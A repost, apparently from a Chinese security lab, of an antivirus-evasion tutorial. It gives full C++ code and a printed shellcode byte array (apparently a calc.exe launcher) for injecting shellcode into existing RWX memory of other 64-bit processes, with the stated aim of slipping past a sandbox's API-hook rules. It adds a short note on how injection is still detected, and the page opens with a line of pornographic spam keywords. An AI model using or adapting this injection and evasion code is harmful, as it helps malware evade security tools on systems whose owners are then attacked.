99精品伊人亚洲|最近国产中文炮友|九草在线视频支援|AV网站大全最新|美女黄片免费观看|国产精品资源视频|精彩无码视频一区|91大神在线后入|伊人终合在线播放|久草综合久久中文

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

如何優(yōu)雅地繞過函數(shù)調(diào)用鏈呢?

蛇矛實(shí)驗(yàn)室 ? 來源:蛇矛實(shí)驗(yàn)室 ? 2023-08-11 18:24 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

使用場景

在某次實(shí)踐中碰到一個(gè)沙箱,在不知道沙箱強(qiáng)度的情況下只能一點(diǎn)點(diǎn)去探索,程序通過調(diào)用ShellCode彈出計(jì)算器。丟到沙箱里面進(jìn)行測(cè)試發(fā)現(xiàn)被沙箱檢測(cè)到并且爆出了執(zhí)行ShellCode的行為。了解過沙箱的朋友都知道,沙箱一般是通過Hook關(guān)鍵API得到調(diào)用信息返回給腳本去匹配規(guī)則。

解析

#include
#include

unsignedcharbuf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a"
"x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52"
"x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48"
"x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40"
"x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41"
"x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1"
"x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c"
"x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
"x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b"
"x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"
"x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd"
"x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0"
"x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff"
"xd5x63x61x6cx63x2ex65x78x65x00";


intmain()
{
autoaddr = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory((HANDLE)-1, addr, buf, sizeof(buf), NULL);
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
std::cin.get();
return0;
}

在這個(gè)函數(shù)中我們執(zhí)行ShellCode的調(diào)用了三個(gè)關(guān)鍵的函數(shù)VirtualAlloc,WriteProcessMemory,CreateThread而這三個(gè)函數(shù)是執(zhí)行ShellCode或者注入常用的API,這里可以肯定的一點(diǎn)是已經(jīng)被沙箱掛鉤了。所以我們要繞過要不就是脫鉤要不就是猜規(guī)則的寫法找規(guī)則的漏洞。

規(guī)則

...
iffunc("VirtualAlloc") == True:
iffunc("WriteProcessMemory") == True:
iffunc("CreateThread") == True:
print("執(zhí)行了ShellCode")
...

func函數(shù)中檢測(cè)鉤子輸出文件或者從內(nèi)存信息獲取到這個(gè)三個(gè)函數(shù)的觸發(fā)順序,現(xiàn)在觸發(fā)了這條規(guī)則,就說明我們目前是在執(zhí)行ShellCode,因此成為了報(bào)毒的一個(gè)關(guān)鍵點(diǎn)。

如何繞過

最簡單的繞過是使用類似功能的函數(shù)進(jìn)行替代,這里也可能存在一個(gè)問題,就是常見的那些函數(shù)已經(jīng)被掛鉤了,因?yàn)楹芏嗌诚淠J(rèn)就掛鉤了很多內(nèi)存相關(guān)的API,如果我們?nèi)绻皇翘鎿Q一些函數(shù)可能還是會(huì)被檢測(cè)到,當(dāng)然不排除這些方式可以繞過一些沙箱,單這次遇到的沙箱我測(cè)試替換了很多API還是會(huì)被檢測(cè)到。那么我們只能從規(guī)則方面去下手了。

我們反過來想一下,我們執(zhí)行ShellCode就需要先申請(qǐng)可執(zhí)行的內(nèi)存,在寫數(shù)據(jù)到內(nèi)存中,在啟動(dòng)線程去執(zhí)行數(shù)據(jù)。那么我們可不可以不申請(qǐng)內(nèi)存就可以執(zhí)行。這就是我們繞過不這么健全規(guī)則的一種方式。

構(gòu)造

1. 遍歷系統(tǒng)進(jìn)程

遍歷進(jìn)程的方式有很多中,這里我們選擇使用Windows Api進(jìn)行遍歷,具體代碼如下:

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);

do
{
std::cout<< processEntry.szExeFile << "	pid:"?<< processEntry.th32ProcessID << "
";
??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

7bf4087c-382e-11ee-9e74-dac502259ad0.png

下一步我們要去判斷軟件架構(gòu),為什么要進(jìn)行這一步是取決于我們的ShellCode是多少位的,這里我的ShellCode是64位,所以要過濾掉32位進(jìn)程,不然在后續(xù)找到可讀可寫可執(zhí)行內(nèi)存的時(shí)候我們雖然可以寫入到內(nèi)存,但不能執(zhí)行起來。

2. 判斷軟件架構(gòu)

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 過濾掉32位進(jìn)程
CloseHandle(process);
continue;
}
CloseHandle(process);
std::cout<< processEntry.szExeFile << " pid:"?<< processEntry.th32ProcessID << " is 64-bit."?<< "
";
????}

??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

IsWow64Process(process, &isWow64) && isWow64

新加入的代碼中使用IsWow64Process這個(gè)API去判斷進(jìn)程是否為64位,如果不是我們就進(jìn)行下次一循環(huán)。如果是我們需要架構(gòu)的進(jìn)程我們就要進(jìn)行下一步判斷進(jìn)程中是否有可讀可寫可執(zhí)行的內(nèi)存讓我們?nèi)?gòu)造ShellCode。

3. 判斷進(jìn)程是否已經(jīng)有可讀可寫可執(zhí)行的內(nèi)存

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 過濾掉32位進(jìn)程
CloseHandle(process);
continue;
}
std::cout<< processEntry.szExeFile << "	pid:"?<< processEntry.th32ProcessID << "
";
??????while?(VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
??????{
????????if?(mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
????????{
??????????std::cout?<< "	RWX內(nèi)存地址: 0x"?<< std::hex << mbi.BaseAddress << "
";
????????}
????????offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
??????}
??????offset = 0;

??????CloseHandle(process);
????}

??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

7c323246-382e-11ee-9e74-dac502259ad0.png

這種就是我們可操作的內(nèi)存,主要使用到的函數(shù)是VirtualQueryEx,通過遍歷出進(jìn)程中所有內(nèi)存,對(duì)內(nèi)存屬性進(jìn)行判斷,篩選出我們需要的內(nèi)存。

4. 寫入內(nèi)存到獲取的分塊中

#include
#include
#include

unsignedcharbuf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a"
"x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52"
"x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48"
"x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40"
"x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41"
"x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1"
"x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c"
"x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
"x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b"
"x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"
"x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd"
"x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0"
"x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff"
"xd5x63x61x6cx63x2ex65x78x65x00";

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};
boolisExecute = false;

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 過濾掉32位進(jìn)程
CloseHandle(process);
continue;
}
while(VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
{
if(mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
{
std::cout<< processEntry.szExeFile << "	pid:"?<< processEntry.th32ProcessID << "	寫入地址: 0x"?<< std::hex << mbi.BaseAddress << std::endl;
??????????WriteProcessMemory(process, mbi.BaseAddress, buf, sizeof(buf), NULL);
??????????CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
??????????isExecute = true;
??????????break;
????????}
????????offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
??????}
??????offset = 0;

??????CloseHandle(process);
??????if?(isExecute)
??????{
????????break;
??????}
????}

??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

這里需要注意的是第一次獲取到可用內(nèi)存的時(shí)候就可以退出循環(huán)了,避免ShellCode多次執(zhí)行。

5. 執(zhí)行ShellCode完成目標(biāo)

7c51d006-382e-11ee-9e74-dac502259ad0.png

驗(yàn)證內(nèi)存

7c985756-382e-11ee-9e74-dac502259ad0.png

檢測(cè)方式

注入檢測(cè):這種方式不管怎么繞,都必須要經(jīng)過的一點(diǎn),都要通過一個(gè)進(jìn)程去往另外一個(gè)進(jìn)程中去寫入數(shù)據(jù),而這個(gè)行為是很好檢測(cè)的。遇到這種基本可以直接判定為是惡意軟件。

微步檢測(cè):觸發(fā)ATTCK

7cdea454-382e-11ee-9e74-dac502259ad0.png

微步分析出現(xiàn)兩個(gè)檢測(cè)總得來說就是進(jìn)行了注入,規(guī)則可能是針對(duì)WriteProcessMemory這個(gè)函數(shù)進(jìn)行檢測(cè)。

BOOL WINAPI WriteProcessMemory(

In HANDLE hProcess,

In LPVOID lpBaseAddress,

In_reads_bytes(nSize) LPCVOID lpBuffer,

In SIZE_T nSize,

Out_opt SIZE_T* lpNumberOfBytesWritten);

第一個(gè)參數(shù)是要被寫入數(shù)據(jù)的進(jìn)程句柄,這里可以根據(jù)句柄去判斷出寫入的是哪個(gè)進(jìn)程,在與當(dāng)前掛鉤的進(jìn)程進(jìn)行對(duì)比,從而判斷出來是寫入到其他進(jìn)程還是當(dāng)前進(jìn)程,如果是其他進(jìn)程就觸發(fā)規(guī)則‘修改其他進(jìn)程內(nèi)存數(shù)據(jù)’。而這種我們也可以通過前面講到繞過EDR脫鉤來反沙箱鉤子,不過這種方式只能繞過三環(huán)的鉤子,如果是內(nèi)核鉤子我們就需要在0環(huán)對(duì)抗了。還有就是我們脫鉤也是一種很常見的高危行為,常規(guī)脫鉤大概率是會(huì)被直接檢測(cè)出的。

注入規(guī)則的觸發(fā)是WriteProcessMemory + CreateRemoteThread,如果單純的去調(diào)用WriteProcessMemory觸發(fā)的是執(zhí)行遠(yuǎn)程函數(shù)這個(gè)規(guī)則,應(yīng)該是針對(duì)這兩個(gè)API去組建了一個(gè)新的規(guī)則。

總結(jié)

本次試驗(yàn)的目的并不是去繞過一款沙箱。主要是要總結(jié)經(jīng)驗(yàn),去根據(jù)不同的引擎和規(guī)則針對(duì)性的去改變自己的免殺方式,沒有哪種方式的免殺是可以永久不殺的,也沒有任何沙箱可以百分百檢測(cè)到各種行為。主要是在于繞過的方式和規(guī)則的構(gòu)建。要多嘗試總結(jié)出被殺的原因。





審核編輯:劉清

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 過濾器
    +關(guān)注

    關(guān)注

    1

    文章

    439

    瀏覽量

    20404
  • Shell
    +關(guān)注

    關(guān)注

    1

    文章

    372

    瀏覽量

    24230
  • API接口
    +關(guān)注

    關(guān)注

    1

    文章

    85

    瀏覽量

    10893

原文標(biāo)題:免殺技術(shù)之優(yōu)雅地繞過函數(shù)調(diào)用鏈

文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    C語言使用函數(shù)調(diào)用的知識(shí)點(diǎn)

    C語言使用函數(shù)調(diào)用,我們?cè)偈煜げ贿^了,但是函數(shù)調(diào)用在內(nèi)存中究竟發(fā)生了什么真的清楚嗎?只有搞清楚內(nèi)存里的內(nèi)幕,才算完全搞懂函數(shù)
    發(fā)表于 09-07 11:47 ?1043次閱讀

    如何查看及更改函數(shù)/函數(shù)塊的調(diào)用環(huán)境

    是循環(huán)執(zhí)行,當(dāng)一個(gè)功能塊被多個(gè)外部函數(shù)/函數(shù)調(diào)用時(shí),我們應(yīng)如何查看某一次調(diào)用時(shí)的內(nèi)部變量?這涉及到
    的頭像 發(fā)表于 11-17 09:08 ?1509次閱讀
    如何查看及更改<b class='flag-5'>函數(shù)</b>/<b class='flag-5'>函數(shù)</b>塊的<b class='flag-5'>調(diào)用</b>環(huán)境

    matlab自定義函數(shù)調(diào)用的方法

    matlab自定義函數(shù)調(diào)用的方法 命令文件/函數(shù)文件+ 函數(shù)文件 - 多
    發(fā)表于 11-29 13:14 ?88次下載

    C++教程之函數(shù)的遞歸調(diào)用

    C++教程之函數(shù)的遞歸調(diào)用 在執(zhí)行函數(shù) f 的過程中,又要調(diào)用 f 函數(shù)本身,稱為函數(shù)的遞歸
    發(fā)表于 05-15 18:00 ?35次下載

    系統(tǒng)調(diào)用函數(shù)庫分析及實(shí)例

    作為用戶我們極少接觸系統(tǒng)調(diào)用,但是我們熟悉C 語言,對(duì)庫函數(shù)調(diào)用并不陌生。C語言支持一系列庫函數(shù)調(diào)用,而事實(shí)上,庫
    發(fā)表于 06-23 16:46 ?46次下載
    系統(tǒng)<b class='flag-5'>調(diào)用</b><b class='flag-5'>函數(shù)</b>庫分析及實(shí)例

    當(dāng)函數(shù)執(zhí)行完畢后,如何返回調(diào)用處?

    當(dāng)函數(shù)執(zhí)行完畢后,如何返回調(diào)用?由于該函數(shù)可能會(huì)被多次調(diào)用,且每次調(diào)用的地方很可能不一樣,這
    的頭像 發(fā)表于 09-14 14:27 ?1.7w次閱讀
    當(dāng)<b class='flag-5'>函數(shù)</b>執(zhí)行完畢后,如何返回<b class='flag-5'>調(diào)用</b>處?

    高效的C編程之函數(shù)調(diào)用

    14.9 函數(shù)調(diào)用 函數(shù)設(shè)計(jì)的基本原則是使其函數(shù)體盡量的小。這樣編譯器可以對(duì)函數(shù)做更多的優(yōu)化。 14.9.1 減少
    發(fā)表于 10-17 16:49 ?6次下載
    高效的C編程之<b class='flag-5'>函數(shù)</b><b class='flag-5'>調(diào)用</b>

    c#調(diào)用matlab函數(shù)

    本文檔內(nèi)容介紹了基于c#調(diào)用matlab函數(shù),供參考
    發(fā)表于 04-19 10:53 ?24次下載

    為什么中斷處理函數(shù)不能直接調(diào)用不可重入函數(shù)

    中斷丟失和系統(tǒng)位置錯(cuò)誤,這里直接導(dǎo)致嵌入式 linux 系統(tǒng)應(yīng)用進(jìn)程中的所有線程停掉,進(jìn)而導(dǎo)致看門狗進(jìn)程得不到喂狗,設(shè)備重啟。 那什么是不可重入函數(shù)? 為什么中斷處理函數(shù)不能直接調(diào)用
    的頭像 發(fā)表于 02-17 09:33 ?6447次閱讀

    系統(tǒng)調(diào)用與普通的函數(shù)調(diào)用之間的區(qū)別

    函數(shù)之間是可以相互調(diào)用的,這很簡單很happy有沒有。 要知道是代碼、是函數(shù)就可以相互調(diào)用,不管你用什么語言寫的。
    的頭像 發(fā)表于 02-15 11:47 ?3805次閱讀
    系統(tǒng)<b class='flag-5'>調(diào)用</b>與普通的<b class='flag-5'>函數(shù)</b><b class='flag-5'>調(diào)用</b>之間的區(qū)別

    C語言函數(shù)調(diào)用的形式及過程

    C語言函數(shù)調(diào)用時(shí)的數(shù)據(jù)傳遞 在調(diào)用有參函數(shù)時(shí),主調(diào)函數(shù)和被調(diào)函數(shù)之間有數(shù)據(jù)傳遞關(guān)系。
    的頭像 發(fā)表于 03-10 14:28 ?2291次閱讀

    什么是函數(shù)調(diào)用?

    函數(shù)調(diào)用,就是使用我們已經(jīng)定義好的函數(shù),或者C語言自帶的庫函數(shù)。
    的頭像 發(fā)表于 04-04 17:21 ?6663次閱讀

    SCL中調(diào)用函數(shù)的示例

    在此,可插入函數(shù) (FC) 調(diào)用函數(shù)塊 (FB) 調(diào)用。函數(shù)塊可作為單實(shí)例、多重實(shí)例或參數(shù)實(shí)例進(jìn)行調(diào)用
    的頭像 發(fā)表于 06-06 10:18 ?2913次閱讀

    python定義函數(shù)調(diào)用函數(shù)的順序

    定義函數(shù)調(diào)用函數(shù)的順序 函數(shù)被定義后,本身是不會(huì)自動(dòng)執(zhí)行的,只有在被調(diào)用后,函數(shù)才會(huì)被執(zhí)行,得
    的頭像 發(fā)表于 10-04 17:17 ?2144次閱讀

    python函數(shù)函數(shù)之間的調(diào)用

    函數(shù)函數(shù)之間的調(diào)用 3.1 第一種情況 程序代碼如下: def x ( f ): def y (): print ( 1 ) return y def f (): print ( 2 )x(f
    的頭像 發(fā)表于 10-04 17:17 ?884次閱讀